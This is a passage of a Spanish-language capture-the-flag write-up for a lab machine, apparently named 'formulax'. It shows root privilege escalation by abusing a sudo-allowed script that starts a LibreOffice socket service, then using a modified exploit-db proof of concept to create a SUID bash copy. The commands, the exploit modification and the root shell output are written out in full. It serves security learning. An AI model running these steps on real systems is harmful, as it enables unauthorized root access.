 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

kai_relay@formulax:~$ whoami

kai_relay

Chequeando qué es lo que puede correr este usuario con sudo tenemos algo:

kai_relay@formulax:~$ sudo -l

Matching Defaults entries for kai_relay on forumlax:
    env_reset, timestamp_timeout=0, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_reset,
    timestamp_timeout=0

User kai_relay may run the following commands on forumlax:
    (ALL) NOPASSWD: /usr/bin/office.sh

Este archivo es un script en Bash. Leyendo qué es lo que hace este script, tenemos:

kai_relay@formulax:~$ cat /usr/bin/office.sh

#!/bin/bash
/usr/bin/soffice --calc --accept="socket,host=localhost,port=2002;urp;" --norestore --nologo --nodefault --headless

donde puedo ver que está ejecutando el binario /usr/bin/soffice.

Buscando por what is soffice tenemos:

Información
The soffice.exe by The Document Foundation is the executable file for the LibreOffice office suite. It is responsible for launching and running the various programs within the suite, such as Writer, Calc, Impress, and others
Básicamente, soffice es el ejecutable para la suite de LibreOffice (que es una alternativa gratuita para Microsoft Excel, Word, etc).

Lo que encontramos es que este script está inicializando el servicio de LibreOffice, usando privilegios máximos (root). Por lo tanto, deberíamos de encontrar una manera de explotar este servicio.

Buscando por soffice exploit en Google nos lleva a exploit-db, más específicamente a este PoC. Copio el código, lo paso a un archivo llamado /tmp/soffice_exploit.py usando nano (o también podemos usar vi), pero en lugar de ejecutar a nivel de sistema la instrucción calc.exe cambio la última línea de:

shell_execute.execute("calc.exe", '',1)

a

shell_execute.execute("/bin/bash", '/tmp/exploit.sh',1)

para ejecutar un script malicioso en Bash script llamado /tmp/exploit.sh, el cual crearé a continuación.

Nuestro script contendrá lo siguiente:

#!/bin/bash
cp $(which bash) /tmp/gunzf0x ; chmod 4755 /tmp/gunzf0x

el cual crea una copia del binario de bash y, a aquella copia, le otorga permisos SUID; lo cual nos permite correrlo con permisos del propietario (que será root).

Uso la terminal para crear el susodicho script:

kai_relay@formulax:~$ echo -e '#!/bin/bash\ncp $(which bash) /tmp/gunzf0x ; chmod 4755 /tmp/gunzf0x' > /tmp/exploit.sh

y le asigno permisos de ejecución a éste para evitar problemas a futuro:

kai_relay@formulax:~$ chmod +x /tmp/exploit.sh

Si corremos el script basado en el PoC mencionado, éste nos retorna un error:

kai_relay@formulax:~$ python3 /tmp/soffice_exploit.py --host 127.0.0.1 --port 2002

[+] Connecting to target...
Traceback (most recent call last):
  File "/tmp/soffice_exploit.py", line 63, in <module>
    context = resolver.resolve(
__main__.com.sun.star.connection.NoConnectException: Connector : couldn't connect to socket (Connection refused) ./io/source/connector/connector.cxx:117

Tenemos un error de conexión. Esto es porque el servicio de LibreOffice no está corriendo/activo en la máquina víctima; debemos de inicializarlo, lo cual es exactamente lo que hace el script que podemos correr con sudo. Por tanto, decido conectarme en otra terminal por medio de SSH como el usuario kai_relay, sin cerrar la sesión actual. En la sesión actual inicio el servicio corriendo:

kai_relay@formulax:~$ sudo /usr/bin/office.sh

y en la otra terminal, corro:

kai_relay@formulax:~$ python3 /tmp/soffice_exploit.py --host localhost --port 2002

[+] Connecting to target...
[+] Connected to localhost

Reviso si esto ha funcionado… y nuestro archivo está allí 💀:

kai_relay@formulax:~$ ls -la /tmp

total 1440
drwxrwxrwt 14 root      root        12288 May 22 04:43 .
drwxr-xr-x 19 root      root         4096 Feb 20 16:16 ..
drwxrwxrwt  2 root      root         4096 May 20 18:10 .ICE-unix
drwxrwxrwt  2 root      root         4096 May 20 18:10 .Test-unix
drwxrwxrwt  2 root      root         4096 May 20 18:10 .X11-unix
drwxrwxrwt  2 root      root         4096 May 20 18:10 .XIM-unix
drwxrwxrwt  2 root      root         4096 May 20 18:10 .font-unix
srwxr-xr-x  1 root      root            0 May 22 04:38 OSL_PIPE_0_SingleOfficeIPC_53bc4297d6d012e1a744f3977d159334
-rwxrwxr-x  1 kai_relay kai_relay      68 May 22 04:42 exploit.sh
-rwsr-xr-x  1 root      root      1396520 May 22 04:43 gunzf0x
drwxr-xr-x  2 root      root         4096 May 22 04:38 hsperfdata_root
drwx------  2 root      root         4096 May 22 04:38 lu23658821vhl2.tmp
<SNIP>

Nos podemos convertir en root finalmente corriendo este archivo junto con la flag -p:

kai_relay@formulax:~$ /tmp/gunzf0x -p

gunzf0x-5.1# whoami

root   

Game Over. Podemos leer la flag del usuario root en el directorio /root.

~ Happy Hacking